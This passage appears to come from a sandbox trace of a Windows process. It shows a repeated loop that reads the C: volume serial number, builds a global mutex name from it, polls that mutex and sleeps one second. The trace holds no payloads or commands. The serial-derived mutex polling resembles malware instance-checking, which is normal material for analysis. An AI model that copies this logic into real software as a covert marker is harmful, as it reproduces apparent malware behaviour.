hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0218.393] Sleep (dwMilliseconds=0x3e8) [0220.065] GetProcessHeap () returned 0x550000 [0220.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0220.065] GetProcessHeap () returned 0x550000 [0220.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0220.065] GetProcessHeap () returned 0x550000 [0220.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0220.065] GetProcessHeap () returned 0x550000 [0220.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0220.065] GetProcessHeap () returned 0x550000 [0220.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0220.065] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0220.065] GetProcessHeap () returned 0x550000 [0220.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0220.065] GetProcessHeap () returned 0x550000 [0220.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0220.065] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0220.066] GetProcessHeap () returned 0x550000 [0220.066] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0220.066] GetProcessHeap () returned 0x550000 [0220.066] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0220.066] GetProcessHeap () returned 0x550000 [0220.066] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0220.066] GetProcessHeap () returned 0x550000 [0220.066] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0220.066] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a8 [0220.066] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0220.066] CloseHandle (hObject=0x1a8) returned 1 [0220.066] GetProcessHeap () returned 0x550000 [0220.066] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0220.066] GetProcessHeap () returned 0x550000 [0220.066] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0220.066] Sleep (dwMilliseconds=0x3e8) [0221.518] GetProcessHeap () returned 0x550000 [0221.519] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0221.519] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0221.519] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0221.519] GetProcessHeap () returned 0x550000 [0221.519] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0221.519] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a8 [0221.519] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0221.520] CloseHandle (hObject=0x1a8) returned 1 [0221.520] GetProcessHeap () returned 0x550000 [0221.520] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0221.520] GetProcessHeap () returned 0x550000 [0221.520] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0221.520] Sleep (dwMilliseconds=0x3e8) [0222.576] GetProcessHeap () returned 0x550000 [0222.576] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0222.576] GetProcessHeap () returned 0x550000 [0222.576] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0222.576] GetProcessHeap () returned 0x550000 [0222.576] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0222.576] GetProcessHeap () returned 0x550000 [0222.576] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0222.576] GetProcessHeap () returned 0x550000 [0222.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0222.576] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0222.576] GetProcessHeap () returned 0x550000 [0222.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0222.576] GetProcessHeap () returned 0x550000 [0222.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0222.576] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0222.576] GetProcessHeap () returned 0x550000 [0222.577] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0222.577] GetProcessHeap () returned 0x550000 [0222.577] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0222.577] GetProcessHeap () returned 0x550000 [0222.577] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0222.577] GetProcessHeap () returned 0x550000 [0222.577] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0222.577] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0222.577] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0222.577] CloseHandle (hObject=0x1b8) returned 1 [0222.577] GetProcessHeap () returned 0x550000 [0222.577] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0222.577] GetProcessHeap () returned 0x550000 [0222.577] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0222.577] Sleep (dwMilliseconds=0x3e8) [0223.867] GetProcessHeap () returned 0x550000 [0223.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0223.867] GetProcessHeap () returned 0x550000 [0223.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0223.867] GetProcessHeap () returned 0x550000 [0223.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0223.867] GetProcessHeap () returned 0x550000 [0223.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0223.867] GetProcessHeap () returned 0x550000 [0223.867] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0223.867] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0223.868] GetProcessHeap () returned 0x550000 [0223.868] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0223.868] GetProcessHeap () returned 0x550000 [0223.868] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0223.868] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0223.868] GetProcessHeap () returned 0x550000 [0223.868] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0223.868] GetProcessHeap () returned 0x550000 [0223.868] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0223.868] GetProcessHeap () returned 0x550000 [0223.868] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0223.868] GetProcessHeap () returned 0x550000 [0223.868] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0223.868] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x168 [0223.868] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x102 [0223.869] CloseHandle (hObject=0x168) returned 1 [0223.869] GetProcessHeap () returned 0x550000 [0223.869] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0223.869] GetProcessHeap () returned 0x550000 [0223.869] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0223.869] Sleep (dwMilliseconds=0x3e8) [0225.077] GetProcessHeap () returned 0x550000 [0225.077] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0225.077] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0225.077] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0225.077] GetProcessHeap () returned 0x550000 [0225.077] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0225.078] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x190 [0225.078] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x0) returned 0x102 [0225.078] CloseHandle (hObject=0x190) returned 1 [0225.078] GetProcessHeap () returned 0x550000 [0225.078] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0225.078] GetProcessHeap () returned 0x550000 [0225.078] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0225.078] Sleep (dwMilliseconds=0x3e8) [0226.296] GetProcessHeap () returned 0x550000 [0226.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0226.296] GetProcessHeap () returned 0x550000 [0226.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0226.296] GetProcessHeap () returned 0x550000 [0226.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0226.296] GetProcessHeap () returned 0x550000 [0226.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0226.296] GetProcessHeap () returned 0x550000 [0226.296] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0226.296] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0226.296] GetProcessHeap () returned 0x550000 [0226.296] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0226.296] GetProcessHeap () returned 0x550000 [0226.296] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0226.296] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0226.297] GetProcessHeap () returned 0x550000 [0226.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0226.297] GetProcessHeap () returned 0x550000 [0226.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0226.297] GetProcessHeap () returned 0x550000 [0226.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0226.297] GetProcessHeap () returned 0x550000 [0226.297] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0226.297] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x168 [0226.297] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x102 [0226.297] CloseHandle (hObject=0x168) returned 1 [0226.297] GetProcessHeap () returned 0x550000 [0226.298] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0226.298] GetProcessHeap () returned 0x550000 [0226.298] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0226.298] Sleep (dwMilliseconds=0x3e8) [0227.590] GetProcessHeap () returned 0x550000 [0227.590] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0227.590] GetProcessHeap () returned 0x550000 [0227.590] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0227.590] GetProcessHeap () returned 0x550000 [0227.590] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0227.590] GetProcessHeap () returned 0x550000 [0227.590] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0227.590] GetProcessHeap () returned 0x550000 [0227.590] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0227.590] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0227.590] GetProcessHeap () returned 0x550000 [0227.590] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0227.590] GetProcessHeap () returned 0x550000 [0227.590] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0227.590] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0227.591] GetProcessHeap () returned 0x550000 [0227.591] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0227.591] GetProcessHeap () returned 0x550000 [0227.591] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0227.591] GetProcessHeap () returned 0x550000 [0227.591] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0227.591] GetProcessHeap () returned 0x550000 [0227.591] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0227.591] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x100 [0227.591] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x102 [0227.591] CloseHandle (hObject=0x100) returned 1 [0227.591] GetProcessHeap () returned 0x550000 [0227.591] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0227.591] GetProcessHeap () returned 0x550000 [0227.591] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0227.591] Sleep (dwMilliseconds=0x3e8) [0228.624] GetProcessHeap () returned 0x550000 [0228.624] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0228.624] GetProcessHeap () returned 0x550000 [0228.624] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0228.624] GetProcessHeap () returned 0x550000 [0228.624] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0228.624] GetProcessHeap () returned 0x550000 [0228.624] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0228.624] GetProcessHeap () returned 0x550000 [0228.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0228.624] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0228.624] GetProcessHeap () returned 0x550000 [0228.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0228.624] GetProcessHeap () returned 0x550000 [0228.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0228.624] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0228.625] GetProcessHeap () returned 0x550000 [0228.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0228.625] GetProcessHeap () returned 0x550000 [0228.625] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0228.625] GetProcessHeap () returned 0x550000 [0228.625] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0228.625] GetProcessHeap () returned 0x550000 [0228.625] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0228.625] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x17c [0228.625] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0228.625] CloseHandle (hObject=0x17c) returned 1 [0228.625] GetProcessHeap () returned 0x550000 [0228.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0228.625] GetProcessHeap () returned 0x550000 [0228.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0228.625] Sleep (dwMilliseconds=0x3e8) [0229.627] GetProcessHeap () returned 0x550000 [0229.627] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0229.627] GetProcessHeap () returned 0x550000 [0229.627] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0229.627] GetProcessHeap () returned 0x550000 [0229.627] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0229.627] GetProcessHeap () returned 0x550000 [0229.627] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0229.627] GetProcessHeap () returned 0x550000 [0229.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0229.628] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0229.628] GetProcessHeap () returned 0x550000 [0229.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0229.628] GetProcessHeap () returned 0x550000 [0229.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0229.628] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0229.628] GetProcessHeap () returned 0x550000 [0229.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0229.628] GetProcessHeap () returned 0x550000 [0229.628] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0229.628] GetProcessHeap () returned 0x550000 [0229.628] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0229.628] GetProcessHeap () returned 0x550000 [0229.628] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0229.628] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a8 [0229.628] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0229.628] CloseHandle (hObject=0x1a8) returned 1 [0229.629] GetProcessHeap () returned 0x550000 [0229.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0229.629] GetProcessHeap () returned 0x550000 [0229.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0229.629] Sleep (dwMilliseconds=0x3e8) [0230.658] GetProcessHeap () returned 0x550000 [0230.659] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0230.659] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0230.659] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0230.659] 